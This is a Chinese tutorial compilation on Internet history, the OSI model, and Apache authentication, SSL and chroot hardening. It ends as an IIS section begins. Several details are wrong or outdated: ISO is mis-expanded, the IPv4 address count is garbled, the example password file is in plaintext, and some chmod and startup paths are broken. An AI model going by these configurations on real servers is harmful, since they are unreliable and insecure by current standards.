有了通达全球的Internet后，人们首先想到的是可以利用它来提供个人之间的通信，而且这种通信应能兼具电话的速度和邮政的可靠性等优点。这种思路生根发芽成长起来，最终得到的果实便是Email。通过它，每人都可以有自己的私有信箱，用以储存已收到但还未来得及阅读的信件，Email地址包括用户名加上主机名,并在中间用@符号隔开,如 hdc@gbnet.gb.co.cn 。

从最初的两人之间的通信，如今的电子邮件软件能够实现更为复杂、多样的服务,包括：一对多的发信，信件的转发和回复，在信件中包含声音、图像等多媒体信息等；甚至可以做到只要有你的邮件到达，挂在你身上的BP机就嘀嘀作响发出提示；人们还可以象订购报刊杂志一样在网上订购所需的信息，通过电子邮件定期送到自己面前。

2．WWW
World Wide Web(通常被称为WWW)在中文里常被译作“万维网”，除发音相近外，也体现了其变化万千的内涵。用户借助于一个浏览器软件，在地址栏里输入所要查看的页面地址（或域名），就可以连接到该地址所指向的WWW服务器，从中查找所需的图文信息。WWW访问的感觉有些象逛大商场，既可以漫无边际地徜徉，也可以奔着一个目标前进；但不论如何，当用户最终获得想要的内容时，也许已经跨越了千山万水，故有时我们也称之为“Web冲浪”。

WWW服务器所存贮的页面内容是用HTML语言(Hyper Text Mark-up Language)书写的，它通过HTTP协议(Hyper Text Transfering Protocol)传送到用户处。

3．文件传输(FTP)
尽管电子邮件也能传送文件,但它一般用于短信息传递。Internet提供了称作FTP（File Transfer Protocol）的文件传输应用程序，使用户能发送或接收非常大的数据文件：当用户发出FTP命令，连接到FTP服务器后，可以输入命令显示服务器存贮的文件目录，或从某个目录拷贝文件，通过网络传递到自己的计算机中。

FTP服务器提供了一种验证用户权限的方法（用到用户名、密码），限制非授权用户的访问。不过,很多系统管理员为了扩大影响,打开了匿名ftp服务设置——匿名ftp允许没有注册名或口令的用户在机器上存取指定的文件，它用到的特殊用户名为“anonymous”。

4．远程登录(Remote Login)
远程登录允许用户从一台机器连接到远程的另一台机器上,并建立一个交互的登录连接。登录后，用户的每次击键都传递到远程主机，由远程主机处理后将字符回送到本地的机器中, 看起来仿佛用户直接在对这台远程主机操作一样。远程登录通常也要有效的登录帐号来接受对方主机的认证。常用的登录程序有TELNET、RLOGIN等。

5．Usenet新闻组
Usenet新闻是Internet上的讨论小组或公告牌系统(BBS)。Usenet在一套名为"新闻组"的标题下组织讨论，用户可以阅读别人发送的新闻或发表自己的文章。新闻组包括数十大类、数千组"新闻"，平均每一组每天都有成百上千条"新闻"公布出来。新闻组的介入方式也非常随便,你可以在上面高谈阔论、问问题，或者只看别人的谈论。

上面所列举的仅是Internet文化长廊中的主要内容，但绝不是全部。Internet永远是在不断发展、推陈出新的，这将是我们下一篇的内容——Internet的发展趋势。

四.Internet发展面临的问题

Internet的发展正面临哪些困境？
在上篇中我们讲述了Internet的发展简史和它的方方面面的应用。正是由于Internet的丰富多彩，才会吸引越来越多的人加入其中：对用户而言，Internet正一步步渗透到我们工作、生活的各个方面，极大地改变了长久以来形成的传统思维和生活方式；而对Internet而言，用户的积极参与使得这一全球通行的网络迅速膨胀起来，用户对它的需求也不断升级，使Internet的耐受力面临带宽的短缺、IP地址资源匮乏等严峻考验。

1．带宽的短缺
据1995年年中的估计, 有150多个国家和地区的6万多个网络同Internet联结, 入网计算机约450万台, 直接使用Internet的用户达4000万人。而到今天，Internet已经开通到全世界大多数国家和地区，几乎每隔三十分钟就有一个新的网络连入，主机数量每年翻两番，用户数量每月增长百分之十，预计到本世纪末和下世纪初, Internet将连接近亿台计算机, 达到以十亿计的用户。而对更远的将来，人们很难精确估计。不管怎么说，这些数字已足以说明Internet的危机所在：就好象一根悬挂了很多重物的钢丝绳，重量增加了，绳子就有断裂的危险；而用户在Internet上的游历实际上要走过很多根这样的“钢丝绳”，用户越多，绳子的负载越重，其中任一根不结实，都会成为瓶颈，导致网络访问的失败。因此，“钢丝绳”的加固—带宽容量的增加势在必行，从Internet主干到分支，直至最终用户的接入，都出现了许多成熟的或正在发展的链路技术来实现这项需求，我们将在后文着重介绍其中用户最为关心的几种接入技术。

2． IP地址资源的匮乏
我们曾介绍了IP地址的格式和分类，这里所指的都是现行的IPv4—它是一个32位二进制数，因此总地址容量为232，也即有数亿个左右。而按照TCP/IP协议（同很多其它协议一样）的规定，相互联接的网络中每一个节点都必须有自己独一无二的地址来作为标识，那么很显然，相对前文日益增长的用户数，现有IP地址资源已不堪重负，很快将被用光—有预测表明，以目前Internet发展速度计算，所有IPv4地址将在2005～2010年间分配完毕。

解决IP地址缺乏的办法之一是想办法延缓资源耗尽的时间，目前最广泛应用的技术当属NAT（Network Address Translation，网络地址翻译）—它使企业用户在内部网络应用中采用自行定义的地址，只在需要作Internet访问时才翻译为合法的Internet地址；它的最大好处是用户加入Internet时不需更改内部地址结构，而只需在内外交界处实施地址转换，并且能够实现多个用户复用同一合法地址，从而大大节省地址资源；但作NAT转换的同时也增加了网络的复杂性，何况它并不能阻止可用地址越来越减少的趋势。

作为对IPv4问题的解决，一种新的IP地址定义应运而生，它便是下文讲的IPv6。

五.Internet的发展技术

如何解决Internet的发展瓶颈？Internet新的应用趋势是什么？
Internet的发展首先是要走出困境，扩展容量，然后才有可能继续推出各项新的应用并且运用自如。现在我们将从网络线路的发展说起，谈谈近年来成为通信热点的宽带接入技术，以及Internet新的应用趋势。

1．接入技术的发展
接入技术也称“最后一公里”技术，表示从最终用户到本地电信服务商之间的一段连接。大家已经熟悉的有PSTN拨号、ISDN和专线等技术，而近几年接入技术发展迅猛，比较成熟的有：

ADSL
ADSL又称非对称数字用户线，是DSL家族系列技术（HDSL、VDSL、IDSL等）中应用最广的一种。它的最大好处是利用现有的电话双绞线作为传输介质，因此成本较低；接入带宽却相对电话线传输的PSTN（目前最高115.2Kbps）快了许多，从局端到用户的下行速率理论上可达7-8M，实际使用的下行速率一般为1.5-2Mbps，从用户到局端的上行速率为几百Kbps，这也比PSTN有了很大提高；ADSL的非对称性与终端用户的网络访问特点是相一致的——个人用户多数应用都是以客户方式从网上去获取数据，如WWW、FTP，只在个别时候才向网络大量发送数据，如发送附带多媒体信息的电子邮件，因此下行数据量大、上行数据量小，也为非对称方式。

线缆调制解调器
线缆调制解调器是一项非常适宜于家庭用户的接入技术。它在电缆电视的基础上，将分配网络的主干部分改为光缆，在各个服务节点处完成光电转换，再由同轴电缆将传输信号送到用户家里，可有效地实现Internet访问、电视点播和数据电话等业务，市场前景广阔。线缆传输也是非对称方式，每服务节点下行速率高达10-30Mbps，上行速率可达2M左右，但与ADSL不同，它是一个共享网络，实际每用户可用带宽与节点所连的上网用户数成反比，即便如此，用户能享用的带宽也是相当可观的。

线缆调制解调器应用发展的最大障碍是线缆线路的双向改造——传统的有线电视大多是单向传输；而数据的访问是双向进行的，因此必须实施线路改造以适应这项新的应用。在改造完成之前也有一种暂时的解决办法：即下行数据传递采用电视线缆，上行数据则采用电话线回传。

无线接入技术
作为有线接入的补充，在不便于有线接入的地区，用无线通信设备把用户接入市话交换网，统称为无线接入系统。无线本地环路系统技术来源于以下三个方面：

（1） 来源于蜂窝移动通信系统；
（2） 来源于大区制通信系统、数字无绳电话系统、数字微波和卫星通信系统。大区制系统主要指集群通信系统。
（3）来源于专用的无线本地环路系统，采用大功率、大覆盖、低成本。以其独特的优点，很快被市场接受，发展十分迅速。目前世界各大通信公司几乎都有典型产品。

CDMA（码分多址）和其衍生的无线本地环路技术有着其他无线接入技术不可比拟的优点，代表无线接入技术的发展方向。

接入技术的发展充分体现了“三网合一”的应用趋势：ADSL是利用原来的语音载体电话线传递数据，线缆调制解调器则利用原有的图像载体有线电视传递数据，大家熟悉的IP电话则是通过各类数据载体传送语音。因此，今后的数据网、电视网和电话网将不再相互隔离，共同承揽数据、语音、图像集成的业务，缓解了Internet的带宽压力。

2．IPv6技术
正当人们为IPv4面临的问题而焦头烂额时，IPv6出现了，它给人们带来了近乎完美的解决方案：

●如同电话号码升位一样，IPv6提供了128位的IP地址，使地址数量大幅增加，从而解决了现在的IP地址资源危机；
●IPv6采用了“可聚集全球统一计算地址”的构造，这使IP地址构造同网络的拓扑结构（连接形态）相一致，从而缩小了路由表，使路由器能够高效率地决定路由；
●IPv6具有自动把IP地址分配给用户的功能大大减少了网络管理费用。

尽管IPv6比IPv4具有明显的优越性，但在全球范围内实现地址的升级有许多实际困难。为此，Internet研究组织IETF制定了一套IPv4向IPv6过渡的方案，其中包括三个机制：兼容IPv4的IPv6地址、双IP协议栈和基于IPv4隧道的IPv6。

3．应用的发展—电子商务
在Internet发展史第一篇中我们介绍了基于Internet的各项应用，但它们只是人们用以达到某些目标的手段，就象原始人学会了利用工具一样。电子商务（E-Commerce）便是基于网络应用的各种技术在各行各业实施的全方位的改造，为人们展示了一个全新、璀璨的世界。电子商务不一定都通过Internet来完成，但Internet的高速发展却为其提供了生根萌芽的沃土。大名鼎鼎的Amazon公司应该说敢为勇者先，率先架筑起自己图书购销配套服务的庞大帝国成为电子商务运作的典范。同以前所提到的应用相比，电子商务更象一种理念，它的实现并没有固定的格式。在Internet或自己的网络上利用各种技术建设适合自身特点的Intranet、Extranet，其中策略的制定是发展的关键。不论进度如何，电子商务必然是Internet应用的一项主要发展趋势。

纵观十多年来Internet的发展史，人们很难说清，未来它究竟会是什么样，但Internet还将继续改变我们的生活，推动人类文明的发展，这是谁都否认不了的。

六.OSI七层模型

ISO国际标准组织所定义的开放系统互连七层模型的定义和各层功能。它是网络技术入门者的敲门砖，也是分析、评判各种网络技术的依据—从此网络不再神秘，它也是有理可依，有据可循的。

建立七层模型主要是为解决异种网络互连时所遇到的兼容性问题。它的最大优点是将服务、接口和协议这三个概念明确地区分开来；也使网络的不同功能模块分担起不同的职责。

网络发展中一个重要里程碑便是ISO（Internet Standard Organization，国际标准组织）对OSI（Open System Interconnect，开放系统互连）七层网络模型的定义。它不但成为以前的和后续的各种网络技术评判、分析的依据，也成为网络协议设计和统一的参考模型。

建立七层模型的主要目的是为解决异种网络互连时所遇到的兼容性问题。它的最大优点是将服务、接口和协议这三个概念明确地区分开来：服务说明某一层为上一层提供一些什么功能，接口说明上一层如何使用下层的服务，而协议涉及如何实现本层的服务；这样各层之间具有很强的独立性，互连网络中各实体采用什么样的协议是没有限制的，只要向上提供相同的服务并且不改变相邻层的接口就可以了。网络七层的划分也是为了使网络的不同功能模块（不同层次）分担起不同的职责，从而带来如下好处：

减轻问题的复杂程度，一旦网络发生故障，可迅速定位故障所处层次，便于查找和纠错；
在各层分别定义标准接口，使具备相同对等层的不同网络设备能实现互操作，各层之间则相对独立，一种高层协议可放在多种低层协议上运行；
能有效刺激网络技术革新，因为每次更新都可以在小范围内进行，不需对整个网络动大手术；
便于研究和教学。

网络分层体现了在许多工程设计中都具有的结构化思想，是一种合理的划分。

网络七层的功能

网络七层包括物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。其中物理层、数据链路层和网络层通常被称作媒体层，是网络工程师所研究的对象；传输层、会话层、表示层和应用层则被称作主机层，是用户所面向和关心的内容。

那么，网络七层的具体定义和相应职责各是什么呢？下图便是OSI七层模型的协议堆栈示意，它们由下到上分别为：

第一层—物理层：物理层定义了通讯网络之间物理链路的电气或机械特性，以及激活、维护和关闭这条链路的各项操作。物理层特征参数包括：电压、数据传输率、最大传输距离、物理连接媒体等。
第二层—数据链路层：实际的物理链路是不可靠的，总会出现错误，数据链路层的作用就是通过一定的手段（将数据分成帧，以数据帧为单位进行传输）将有差错的物理链路转化成对上层来说没有错误的数据链路。它的特征参数包括：物理地址、网络拓朴结构、错误警告机制、所传数据帧的排序和流控等。其中物理地址是相对网络层地址而言的，它代表了数据链路层的节点标识技术；“拓朴”是网络中经常会碰到的术语，标记着各个设备以何种方式互连起来，如：总线型—所有设备都连在一条总线上，星型—所有设备都通过一个中央结点互连；错误警告是向上层协议报告数据传递中错误的发生；数据帧排序可将所传数据重新排列；流控则用于调整数据传输速率，使接收端不至于过载。

OSL参考模型（简单图一）

应用层
表示层
会话层
传输层
网络层
数据链路层
物理层

第三层—网络层：网络层将数据分成一定长度的分组，并在分组头中标识源和目的节点的逻辑地址，这些地址就象街区、门牌号一样，成为每个节点的标识；网络层的核心功能便是根据这些地址来获得从源到目的的路径，当有多条路径存在的情况下，还要负责进行路由选择。
第四层—传输层：提供对上层透明（不依赖于具体网络）的可靠的数据传输。如果说网络层关心的是“点到点”的逐点转递，那么可以说传输层关注的是“端到端”（源端到目的端）的最终效果。它的功能主要包括：流控、多路技术、虚电路管理和纠错及恢复等。其中多路技术使多个不同应用的数据可以通过单一的物理链路共同实现传递；虚电路是数据传递的逻辑通道，在传输层建立、维护和终止；纠错功能则可以检测错误的发生，并采取措施（如重传）解决问题。
第五层—会话层：在网络实体间建立、管理和终止通讯应用服务请求和响应等会话。
第六层—表示层：定义了一系列代码和代码转换功能以保证源端数据在目的端同样能被识别，比如大家所熟悉的文本数据的ASCII码，表示图象的GIF或表示动画的MPEG等。
第七层——应用层：应用层是面向用户的最高层，通过软件应用实现网络与用户的直接对话，如：找到通讯对方，识别可用资源和同步操作等。

网络七层的底三层（物理层、数据链路层和网络层）通常被称作媒体层，它们不为用户所见，默默地对网络起到支撑作用，是网络工程师所研究的对象；上四层（传输层、会话层、表示层和应用层）则被称作主机层，是用户所面向和关心的内容，这些程序常常将各层的功能综合在一起，在用户面前形成一个整体。大家所熟悉的网上应用WWW、FTP、TELNET等，都是这多层功能的综合。

在数据的实际传输中，发送方将数据送到自己的应用层，加上该层的控制信息后传给表示层；表示层如法炮制，再将数据加上自己的标识传给会话层；以此类推，每一层都在收到的数据上加上本层的控制信息并传给下一层；最后到达物理层时，数据通过实际的物理媒体传到接收方。接收端则执行与发送端相反的操作，由下往上，将逐层标识去掉，重新还原成最初的数据。由此可见，数据通讯双方在对等层必须采用相同的协议，定义同一种数据标识格式，这样才可能保证数据的正确传输而不至走形。

OSI与实际应用模型

七层模型是一个理论模型，实际应用则千变万化，完全可能发生变异。对大多数应用，我们只是将它的协议族（即协议堆栈）与七层模型作大致的对应，看看实际用到的特定协议是属于七层中某个子层，还是包括了上下多层的功能。

网络中实际用到的协议是否严格按照这七层来定义呢？并非如此，七层模型是一个理论模型，实际应用则千变万化，完全可能发生变异。何况有的应用由来已久，不可能在七层模型推出后又推翻重来。因此对大多数应用，我们只是将它的协议族（即协议堆栈）与七层模型作大致的对应，看看实际用到的特定协议是属于七层中某个子层，还是包括了上下多层的功能。我们在以前的篇幅中曾介绍过的TCP/IP协议，它与七层模型的对应关系如下：

OSL与TCP/IP模型的对应关系（简单图二）
应用层 *
表示层 应用层
会话层 *
传输层 传输层
网络层 网络层
数据链路层 网络接口层
物理层 *

由图二可看出，TCP/IP的多数应用协议将OSI应用层、表示层、会话层的功能合在一起，构成其应用层，典型协议有：HTTP、FTP、TELNET等；TCP/UDP协议对应OSI的传输层，提供上层数据传输保障；IP协议对应OSI的网络层，它定义了众所周知的IP地址格式，做为网间网中查找路径的依据；TCP/IP的最底层功能由网络接口层实现，相当于OSI的物理层和数据链路层，实际上TCP/IP对该层并未作严格定义，而是应用已有的底层网络实现传输，这就是它得以广泛应用的原因。


网络应用服务安全

第一部分：概述

概念
网络应用服务，指的是在网络上所开放的一些服务，通常能见到如WEB、MAIL、FTP、DNS、TELNET等，当然，也有一些非通用，在某些领域、行业中自主开发的网络应用服务。我们通常所说的服务器，既是具有网络服务的主机。
网络应用服务安全，指的是主机上运行的网络应用服务是否能够稳定、持续运行，不会受到非法的数据破坏及运行影响。
网络安全的威胁来自多个方面，主要包括：操作系统安全、应用服务安全、网络设备安全、网络传输安全等等，以下我们就网络应用服务与其它安全问题做一比较
与其他安全问题的比较
操作系统安全问题
操作系统安全指的是一个操作系统在其系统管理机制实施中的完整性、强制性、计划性、可预期性不受干扰、破坏。如操作系统的用户等级管理机制、文件读取权限管理机制、程序执行权限管理机制、系统资源分配管理机制等。操作系统安全问题的来源主要表现在系统管理程序编写失误、系统配置失误等方面。其安全问题主要体现在抵御和防范本地攻击。攻击行为通常表现为攻击者突破以上的一些系统管理机制，对系统的越权访问和控制。
网络设备安全问题
网络设备的安全指的是网络设备是否能长期、持续、稳定地完成其特定的功能和任务。由于网络设备提供的功能相对操作系统而言大大简化，因此管理程序编写失误方面的系数大大降低，其安全问题主要来自于系统配置方面的失误。攻击行为主要表现为突破系统控制权身份验证机制，恶意地修改系统配置。
网络应用服务安全问题的特点
每一个网络应用服务都是由一个或多个程序构成，在讨论安全性问题时，不仅要考虑到服务端程序，也需要考虑客户端程序。服务端的安全问题主要表现在非法的远程访问，客户端的安全问题主要表现在本地越权使用客户程序。由于大多数服务的进程由超级用户守护，许多重大的安全漏洞往往出现在一些以超级用户守护的应用服务程序上。

由于网络应用服务种类繁多、涉及广泛，我们不可能逐一细述，以下我们以网络上是为常用的三项服务：WEB、FTP、MAIL为例进行分析，以期达到抛砖引玉的效果。

第二部分 WEB安全分析
Web访问身份验证机制
序言
现在很多网站对用户的访问权限进行了严格的限制，用户在访问某些资源时需要给出“用户名/口令”来确认自己的身份。目前，使用最多的身份认证方法是将用户名、口令存放在一个数据库中，当用户要访问某些受限制的资源时，要在某一个页面中输入用户名和口令，程序将用户输入的用户名和口令与数据库存放的“用户名/口令"相比较，如果输入正确，则正常使用资源，否则，资源访问被拒绝。但是，这种身份认证方式有两个很大的问题，一方面只要用户有一次身份认证成功，就可以记录下受限资源的链接地址，在下一次访问时只需输入该地址，而无需通过身份认证过程就可访问受限资源；另一方面用户可以在受限制的资源的超级链接处点右键，选择“属性"，就可以查看到受限制资源的链接地址，直接访问该地址，使身份认证不能达到预期的效果。
Apache可以很好地解决上述问题。Apache是建立WWW网站的软件，可运行于Linux、 Unix和Windows操作系统下。下面就以Apache为例介绍用户身份认证功能。
基本原理
Apache实现身份认证的基本原理是：当系统管理员启动身份认证功能后，可以在要限制的目录中添加一个默认名“.htaccess"的文件。当用户访问该路径下的资源时，系统就会弹出一个对话框，要求用户输入“用户名/口令"。也就是说，它的身份认证功能不是人为由程序控制，而是由系统直接控制的。这样就避免了用户记录需要认证的资源的超级链接，不会下次直接访问资源。

身份认证的限制有多种，可以限定某个目录的读取权，针对IP地址进行的限制，以及一个目录下各子目录的不同限制。以下我们具体进行说明。
具体实现
基本的Apache用户认证方法：
若对某一目录下的文件如/home/ftp/pub需要做到用户认证，则在httpd.conf 中加入下面的行
<Directory /home/ftp/pub>
options indexes followsymlinks
allowoverride authconfig
order allow，deny
allow from all
</Directory >

在目录/home/ftp/pub下放文件.htaccess，内容如下：
authname "shared files"
authtype basic
authuserfile /etc/.passwd
require valid-user

用随Apache来的程序htpasswd 生成文件/etc/.passwd，每行一个用户名：密码

只要能提供正确的用户名和密码对，就允许登录访问，这是针对任何地址来的请求都要求提供用户名和密码认证。

针对部分网段或地址要求认证：

若公司LAN所在网段为192.168.0.0/24，且有一防火墙专线接入Internet， 内部网卡的地址为192.168.0.1/32，则现在希望所有通过拨本地163通过防火墙上的apache反向代理向LAN上的另一WWW服务器访问时需要认证，而本地LAN上的用户不需认证。可以在httpd.conf中放入：
<Directory /home/ftp/pub>
Options Indexes FollowSymLinks
AllowOverride AuthConfig
order deny，allow
deny from 192.168.0.1
</Directory>

在/home/ftp/pub/.htaccess中放入：
AuthName "shared files"
AuthType Basic
AuthUserFile /etc/.passwd
require valid-user
satisfy any

对同一目录及其下的子目录有不同的权限，仅某些人可以存取一目录下的子目录如有一目录/home/ftp/pub/sales，有三个用户user1，user2，user3都需要用户名和密码进入/home/ftp/pub，仅user1，user2能进入/home/ftp/pub/sales.则 放下面的行到httpd.conf

<Directory /home/ftp/pub>
Options Indexes
AllowOverride AuthConfig
order allow，deny
allow from all
</Directory>

<Directory /home/ftp/pub/sales>
Options Indexes
AllowOverride AuthConfig
order allow，deny
allow from all
</Directory>

设置/home/ftp/pub/.htaccess为：
AuthName "shared files"
AuthType Basic
AuthUserFile /etc/.passwd
require valid-user

设置/home/ftp/pub/sales/.htaccess
AuthName "shared files"
AuthType Basic
AuthUserFile /etc/.passwd
AuthGroupFile /etc/.salesgroup
require group manager

设置文件/etc/.passwd内容为：
user1:passwd1
user2:passwd2
user3:passwd3

设置文件/etc/.salesgroup内容为：
manager: user1 user2

用SSL构建一个安全的Web
简介
众所周知，在网络上以明文传递敏感信息是相当不安全的，因此SSL提供了一种加密手段，在底层上为上层协议提供服务和加密方案，因此当用户在以HTTP协议传输数据时，窥探者将难以获取数据的信息。当然加密只是在传输过程中的，对用户是完全透明的。在此，我们仍以apache为例来说明如何用SSL构建一个安全的WEB。
准备工作
如果你的系统是从头装起的话，建议你留出一个叫/chroot的分区用来运行Apache。至于这个分区的大小，取决于你自已，一般来说，一个普通的网站有40M也就够了。但你的系统如果早就运行了Apache，你可以另外开辟一个分区，或者选择不用独立分区来安装，仅仅在根下面开一个目录。

另外我假定你的系统已经通过了一定的安全检测——在安装Apache之前(如果有其它漏洞存在的话，你认为运行在其上的Apache会怎样，所谓覆巢之下，焉有完卵:)，检测至少要包括(但不仅限于)——移除不安全的SUID程序、升级某些守护进程，去掉不必要的服务。还假定你是的WEB SERVER是运行TCP/IP而且有自己的地址。
平台

以下测试都在下列平台下通过:

1、Slackware 4.x distribution using gcc 2.7.2.3 and Perl v5.005_02

2、Solaris 7 on Sparc using gcc v2.8.1 and Perl v5.005_03

获取所需要的软件

因为阿帕奇并没有在她的包里自己SSL，因此我们必须先下载到这些加密网页所必需的部份：

1、Apache Web Server - http://www.apache.org/dist/

不必多说，我们当然需要获得这个web server，现在的版本是1.3.11，阿帕奇是现在世界上使用最广泛的web server。

2、mod_ssl - http://www.modssl.org

这是一个为Apache1.3.x web server提供强力加密的的软件模块，它使用的是SSL v2和v3以及TLS(Transport Layer Security)v1 协议。该软件包是在BSD的license下开发的，在非商业的情况下，你可以自由地使用它，要判断该使用哪一个版本的mod_ssl很简单，它的版本号是<mod_ssl-version>-<apache-version>格式的，也就是说，你如果用的是1.3.11的Apache，那么就该用2.50-1.3.11的mod_ssl。

3、mod_perl - http://perl.apache.org/dist/

4、Open SSL - http://www.openssl.org

这一软件包提供了SSL v2/v3(Secure Sockets Layer)及TLS v1(Transport Layer Security)协议的加密保护。

5、RSAref - 用搜索引擎查找一下"rsaref20.tar.Z"应该就能找到了

我们将把这些程序安装于/usr/local目录下

增加功能模块可以给阿帕奇更强大的功能，如果你需要更多的模块的话，自己去获得它并且加载，比如mod_php这一模块也是现在流行的，可以使阿帕奇提供php脚本支持……
软件包的安装
在实际安装前我们要决定我们将把web server安装在什么环境下，对于一个对安全有相当高要求的人来说，可以将服务器和软件安装于chroot环境，chroot改变root 目录并且仅在这一目录中执行程序，这提供了一个内建的小环境，即使入侵者已经通过cgi程序或者其它办法通过80端口获得了系统的进入权限，它也只能够在这一受限的环境中活动，从安全角度考量，这当然是最好的，但对系统管理员来说，这样安装相对麻烦一些，还必须把一些必要的库，perl以及相关工具也搬到chroot中，所以——你自己决定吧，这里我们介绍的是在chroot下安装。

展开这些软件包:

#gzip -d -c apache_1.3.11.tar.gz | tar xvf -
#gzip -d -c mod_ssl-2.5.0-1.3.11.tar.gz | tar xvf -
#gzip -d -c openssl-0.9.4.tar.gz | tar xvf -
#gzip -d -c mod_perl-1.21.tar.gz | tar xvf -

展开并且编译rsaref

#mkdir rsaref
#cd rsaref
#gzip -d -c ../rsaref20.tar.Z | tar xvf -
#tar xvf rsaref.tar
#cp -rp install/unix temp
#cd temp
#make
#mv rsaref.a librsaref.a
#cd ../../

编译OpenSSL

#cd openssl-0.9.4
#perl util/perlpath.pl /usr/bin/perl (Path to Perl)
#./config -L`pwd`/../rsaref/temp/
#make
#make test
#cd ..

将mod_perl加到Apache的编译选项里

#cd mod_perl-1.21
#perl Makefile.PL APACHE_PREFIX=/usr/local/apache \

APACHE_SRC=../apache_1.3.11/src \

USE_APACI=1

你会得到下面的提示:

Configure mod_perl with ../apache_1.3.11/src ? [y]

直接按enter就是默认的yes

然后Makefile会问你是否建立httpd，可以用n选择不。

#make
#make install
#cd ..

将mod_ssl加到Apache中

#cd mod_ssl-2.5.0-1.3.11
#./configure --with-apache=../apache_1.3.11 \

--prefix=/usr/local/apache \

--with-ssl=../openssl-0.9.4 \

--with-rsa=../rsaref/temp \

--activate-module=src/modules/perl/libperl.a
#cd ..

编译Apache:

#cd apache_1.3.11

在编译以前我们可以再做一件事——编辑包含http server版本号的文件，使想得到它的入侵者摸不着脑袋长哪儿:)

#<your favorite text editor> src/include/httpd.h

寻找下面的行 (approx. 454)并且改变server的名字及版本号——可以随便用你想改成的东西。 define SERVER_BASEVERSION "Apache/1.3.11"

现在你可以编译阿帕奇了

#make

现在你可以生成一个CA了(actual certificate).

#make certificate

按照该授权书的安装介绍做。

#make install

这将会把阿帕奇装在/usr/local/apache。

测试web server (还没装SSL)是否运行正常 ----调用web server:

/usr/local/apache/bin/apachectl start

当WEB服务器运行起来后，你可以用 lynx或者任意什么浏览器连接你的80端口，如果能看到apache的欢迎页，就OK了。

停止server:

/usr/local/apache/bin/apachectl stop

测试web server (同时起SSL) - 调用带SSL的WEB服务器

/usr/local/apache/bin/apachectl startssl

服务器运行时你用Netscape或者其它支持SSL的浏览器来看https://your.ip.here，看到欢迎页了么？

要停止SERVER：

/usr/local/apache/bin/apachectl stop
阿帕奇的配置
现在我们可以来看看阿帕奇的配置文件了——需要记住的是如果你对它做了更改，在未重新启动httpd守护进程前，它是不会发生作用的。好，现在我们可以进目录/usr/local/apache/conf看看了。

httpd.conf -
这是阿帕奇的主要配置文件，你可以在这里设定服务器启动时的基本环境，比如服务器的启动方式、端口号、允许的最多连接数等等，这一文件的注释非常详细，要看明白应该没什么问题。

access.conf -

这一文件是设定系统中的存取方式和环境的，但现在已经可以在httpd.conf中设定了，所以推荐你别动它，放空好了。

srm.conf -

这家伙主要做的是资源上的设定，你也可以放空，仅仅设定httpd.conf中的相关项。

现在重启web server来使改动生效：

#/usr/local/apache/bin/apachectl restart
将阿帕奇设定在chroot环境下
现在我们开始把刚才建立的东西移到chroot环境下——包括阿帕奇服务器以及所有需要的库文件。当然如前面所说的，这部份是可选的，如果你怕麻烦的话就算了，但转移后可以对你的web server多一个可靠的保护。

建立/chroot目录

#mkdir /chroot

建立一些必需的子目录

#mkdir /chroot/dev
#mkdir /chroot/lib
#mkdir /chroot/etc
#mkdir /chroot/bin
#mkdir /chroot/usr
#mkdir /chroot/usr/local

在我们的chroot建立/dev/null

#mknod -m 666 /chroot/dev/null c 1 3

将阿帕奇拷贝到/chroot目录中

#cp -rp /usr/local/apache/ /chroot/usr/local

拷贝必需的二进制文件

#cp /bin/sh /chroot/bin

确定哪些库是必需的——这取决于你编译时内建了哪些模块

#ldd /usr/local/apache/bin/httpd

将需要的库拷贝到chroot目录

#cp /lib/libm.* /chroot/lib/
#cp /lib/libgdbm.* /chroot/lib
#cp /lib/libdb.* /chroot/lib
#cp /lib/libdl.* /chroot/lib
#cp /lib/libc.* /chroot/lib

拷贝网络连接所需要的函数库

#cp /lib/libnss* /chroot/lib

拷贝必需的/etc下的文件到chroot

#cp /etc/passwd /chroot/etc
#cp /etc/shadow /chroot/etc
#cp /etc/group /chroot/etc
#cp /etc/resolv.conf /chroot/etc
#cp /etc/hosts /chroot/etc
#cp /etc/localtime /chroot/etc
#cp /etc/localtime /chroot/etc
#cp /etc/ld.so.* /chroot/etc

测试chroot下的阿帕奇

#chroot /chroot /usr/local/apache/bin/apachectl start

现在再

#chroot /chroot /usr/local/apache/bin/apachectl stop

服务器就停下来了，如果不行的话，再次确认是否所有需要的库都拷到了/chroot/lib下了，如果仍然无帮助的话，或者可以以strace方式运行httpd，它的输出可能会有一些有价值的内容可以帮助确定是丢失了哪些库或者二进制文件。

然后我们可以做一些小工作了：默认情况下阿帕奇是以nobody用户及用户组运行的，不要更改它。

在passwd\shadow\group等文件中包含了大量系统信息，所以你可以替换掉它们。

建立一个用户名为httpd，UID为80
建立一个组名为httpd，GID为80

用下面的命令来将/chroot下的passwd，shadow，group替换掉

#echo "httpd:x:80:100:，，，:/home/httpd:/bin/false" > /chroot/etc/passwd
#echo "httpd:*LK*:11010:0:99999:7:::" > /chroot/etc/shadow
#echo "httpd:x:80:" > /chroot/etc/group

设定好文件的许可权限

#chmod 600 /chroot/etc/passwd shadow group

现在我们可以编辑apache的配置文件并进行需要的配置，文件在/chroot/usr/local/apache/conf/httpd.conf，寻找到包含apache运行用户及组的信息的行并改变它(approx. line 263)，当然是改成httpd/httpd。一切运行正常后我们可以删除前面的那些服务器安装的东西——/usr/local下的，包括服务器以及那些内建的模块等等。

#rm -rf /usr/local/apache
#rm -rf /usr/local/mod_ssl-2.5.0-1.3.11/
#rm -rf /usr/local/mod_perl-1.21/
#rm -rf /usr/local/openssl-0.9.4/
#rm -rf /usr/local/rsaref

如果以后还想改变它们的配置，增加新的模块，那么将原先的apache留下来也行。

将阿帕奇设定为在开机时自启动，修改/etc/rc.d/rc.local并且加入以下行：

echo "Starting Apache-SSL"
/usr/sbin/chroot/apache/bin/apachectl startssl

如果一切都运行正常的话，那么恭喜你，你已经成功地运行了带SSL支持的阿帕奇了，这会使你的web server更加安全，如果你希望加入更多的模块实现其它功能的话，自己动手吧，最后要说明的是：在chroot环境中最好只有必需的一些二进制程序，而SUID程序还是干掉比较好些。

用IIS建立高安全性Web服务器
IIS（Internet Information Server）作为当今流行的Web服务器之一，提供了强大的Internet和Intranet服务功能，如何加强IIS的安全机制，建立一个高安全性能的Web服务器，已成为IIS设置中不可忽视的重要组成部分。
以下我们以两个方面来阐述加强IIS安全机制的方法。
以Windows NT的安全机制为基础
    作为运行在 Windows NT操作系统环境下的IIS，其安全性也应建立在Windows NT安全性的基础之上。
1.应用NTFS文件系统
